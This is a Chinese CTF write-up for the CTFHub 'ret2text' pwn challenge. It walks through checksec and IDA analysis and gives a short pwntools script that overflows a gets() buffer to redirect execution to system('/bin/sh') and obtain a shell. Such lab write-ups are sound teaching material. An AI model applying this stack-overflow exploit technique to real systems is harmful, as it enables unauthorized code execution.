【PWN刷题__ret2text】——CTFHub之 简单的 ret2text

news/2024/5/19 21:26:17 标签: pwn, ret2text, ctf

萌新第一阶段自然是了解做题的套路、流程,简单题要多做滴

目录

前言

一、checksec查看

二、IDA反汇编

三、exp编写


前言

经典的ret2text流程 


一、checksec查看

 64位程序,什么保护都没有,No canary found——可以栈溢出控制返回

二、IDA反汇编

发现危险函数gets()

 发现存在返回shell的函数secure(),虽然有一系列随机数啦,随机数比较之类的前置判断,不用管他,只要我们溢出返回地址直接指向目标指令的地址就可以成功获取shell

v大小为0x70+栈基指针0x8+返回地址 

 返回哪里呢?直接返回system("/bin/sh")指令的地址。

三、exp编写 

from pwn import *

r=remote('网址',port)

addr=0x4007B8                        #system("/bin/shell")指令地址
payload=b'a'*(0x70+0x8)+p64(addr)    #覆盖v存储、覆盖栈基指针、修改返回地址

r.sendline(payload)                  #发送payload

r.interactive()                      #shell 交互

 然后ls查看有哪些文件,cat flag即可获得flag


总结

蒟蒻在行动!


http://www.niftyadmin.cn/n/245449.html

相关文章

学习实践-Alpaca-Lora (羊驼-Lora)(部署+运行+微调-训练自己的数据集)

Alpaca-Lora模型GitHub代码地址 1、Alpaca-Lora内容简单介绍 三月中旬,斯坦福发布的 Alpaca (指令跟随语言模型)火了。其被认为是 ChatGPT 轻量级的开源版本,其训练数据集来源于text-davinci-003,并由 Meta 的 LLaMA …

Nacos Docker Kubernetes ⽣态

博主介绍:✌全网粉丝4W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战、定制、远程,博主也曾写过优秀论文,查重率极低,在这方面…

2023零基础快速跟上人工智能第一梯队

写在前面:有关人工智能学什么,怎么学,什么路线等一系列问题。我决定整理一套可行的规划路线,希望帮助准备入门的朋友们少走些弯路。 下面我会推荐一个比较快速可行的学习模板,并附上我认为比较好的学习资料。 新手不建…

apkanalyzer-classpath.jar 中没有.class 文件

apkanalyzer-classpath.jar 中没有.class 文件,apkanalyzer-classpath.jar 包目录下,只有 MANIFEST.MF 文件,如下截图: 而 apkanalyzer.jar 下,有很多 class 文件,其中,BinaryXmlParser.class 就…

20230420-上海广策信息技术笔试记录

1.小括号的有效性判断 LC的简单题&#xff0c;不知道为什么一直有3道用例错&#xff0c;枯了。 bool isValid(string s) {stack<int> st;for(int i 0; i < s.size(); i){// prevent cases like ))if(st.empty()){st.push(s[i]);}else if(s[i] { || s[i] [ || s[i…

【Linux】system V 消息队列 | system V 信号量(简单赘述)

文章目录 1 . system V 消息队列(了解)接口查看消息队列 2.system V 信号量 (了解)1.进程互斥等概念的理解2.认识信号量3. 接口 这两部分主要是了解即可&#xff0c;为后面学习做铺垫 1 . system V 消息队列(了解) 为了让两个进程间通信 创建一个队列queue 进程A可以通过消息队…

AutoGTP - 如何搭建本地的AI人工智能助手

简介 与其看着别人拿着其他人的作品到处吹牛逼,不如切身体验下,内心有数但是不乱说话,稳的一批才能做好老狗,如何识别一篇文章是不是 AI 创作的,那么就在文章中通过情感描述词进行书写,这样就不会被认为是人工智能批量生产的文章了,如果人工智能可以通过一个人过往的笔…

Direct3D 12——计算着色器——计算着色器概念

计算着色器虽然是一种可编程的着色器&#xff0c;但Direct3D并没有将它直接归为渲染流水线中的一部分。虽然如此&#xff0c;但位于流水线之外的计算着色器却可以读写GPU资源。从本质上来说&#xff0c;计算着 色器能够使我们访问GPU来实现数据并行算法&#xff0c;而不必渲染出…